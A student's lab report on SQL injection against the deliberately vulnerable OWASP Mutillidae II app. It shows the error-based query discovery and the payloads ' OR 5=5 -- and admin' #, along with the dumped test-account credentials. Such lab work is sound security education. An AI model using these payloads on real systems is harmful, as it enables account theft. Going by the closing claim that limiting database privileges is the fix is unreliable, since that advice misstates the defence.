

Lab 1 – User Info

Ahmed Khaled Saad Ali

ID:1809799

Screenshots:

SQL Query to Inject.

Error Message

Failure is always an option	
Line	238
Code	0
File	H:\XAMPP\htdocs\mutillidae\classes\MySQLHandler.php
Message	H:\XAMPP\htdocs\mutillidae\classes\MySQLHandler.php on line 233: Error executing query: connect_errno: 0 errno: 1064 error: You have an error in your SQL syntax; check the manual that corresponds to your AND password='' at line 2 client_info: mysqlnd 8.0.28 host_info: 127.0.0.1 via TCP/IP) Query: SELECT * FROM accounts WHERE username='/' AND password='' (0) [Exception]
Trace	#0 H:\XAMPP\htdocs\mutillidae\classes\MySQLHandler.php(328): MySQLHandler->doExecuteQue H:\XAMPP\htdocs\mutillidae\classes\SQLQueryHandler.php(356): MySQLHandler->executeQuery info.php(173): SQLQueryHandler->getUserAccount('/', '') #3 H:\XAMPP\htdocs\mutillidae\ {main}
Diagnostic Information	Error attempting to display user information

[Click here to reset the DB](#)

1st Payload obtaining all users is 'OR 5=5 --'

OWASP Mutillidae II: Keep Calm and Pwn On
Version: 2.11.4 Security Level: 0 (Hosed) Hints: Enabled Not Logged In
[Home](#) | [Login/Register](#) | [Toggle Hints](#) | [Toggle Security](#) | [Enforce TLS](#) | [Reset DB](#) | [View Log](#) | [View Captured Data](#)

User Lookup (SQL)

[Back](#) [Help Me!](#)

[Hints and Videos](#)

[Switch to SOAP Web Service version](#) [Switch to XPath version](#)

Please enter username and password to view account details

Name

Password

[View Account Details](#)

[Don't have an account? Please register here](#)

23 Users Info obtained.

Results for "' OR 5=5 -- ".23 records found.

Username=admin
Password=adminpass
Signature=g0t r00t?

Username=adrian
Password=somepassword
Signature=Zombie Films Rock!

Username=john
Password=monkey
Signature=I like the smell of confunk

Username=jeremy
Password=password
Signature=d1373 1337 speak

Username=bryce
Password=password
Signature=I Love SANS



Username=samurai
Password=samurai
Signature=Carving fools


Username=jim
Password=password
Signature=Rome is burning



Username=bobby
Password=password
Signature=Hank is my dad

2nd Payload obtaining all admin's credentials is **admin' #**

User Lookup (SQL)

 [Back](#)  [Help Me!](#)

 [Hints and Videos](#)

 [Switch to SOAP Web Service version](#)  [Switch to XPath version](#)

Please enter username and password to view account details

Name	<input type="text" value="admin' #"/>
Password	<input type="password"/>

[View Account Details](#)

Dont have an account? [Please register here](#)

Admin's credentials obtained.

Results for "admin' # ".1 records found.

Username=admin
Password=adminpass
Signature=g0t r00t?

Lessons Learned:

1. **'/'** is used to cause error message in SQL, which will then display the SQL query of the field we targeted.
2. When the SQL query is obtained, we observe and see which statements that can inject it and make it vulnerable.
3. The solution for SQL injection is that there is no need to give the application excessive privileges like SELECT, INSERT, ALTER, UPDATE or DELETE in database to prevent the injection from fields provided to the application.